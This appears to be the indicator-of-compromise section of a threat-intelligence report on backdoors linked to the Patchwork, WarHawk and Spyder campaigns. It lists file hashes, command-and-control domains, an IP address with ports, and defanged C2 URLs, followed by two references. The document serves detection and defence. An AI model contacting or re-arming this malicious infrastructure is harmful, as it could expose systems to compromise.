acbae6919c9ce41f45ce0d1a3f3fedd4
(C# Backdoor)
e3b37459489a863351d855e594df93bf
4a25a52244f3360b0fffd0d752833bf1
C&C
plainboardssixty.com
gclouddrives.com
alibababackupcloud.com
cloudplatfromservice.one
192[.]169.7.142:80

192[.]169.7.142:4546

URL

hxxp://plainboardssixty.com/drive/

hxxp://gclouddrives.com/spyder/

hxxp://alibababackupcloud.com/spyder/

hxxp://cloudplatfromservice.one/cpidr/

hxxps://192.169.7.142:4546/search?q=search[<host_name>

References

[1]. https://twitter.com/Axel_F5/status/1669794530592170001

[2]. https://www.zscaler.com/blogs/security-research/warhawk-new-backdoor-arsenal-sidewinder-apt-group-0

PATCHWORK WARHAWK SPYDER

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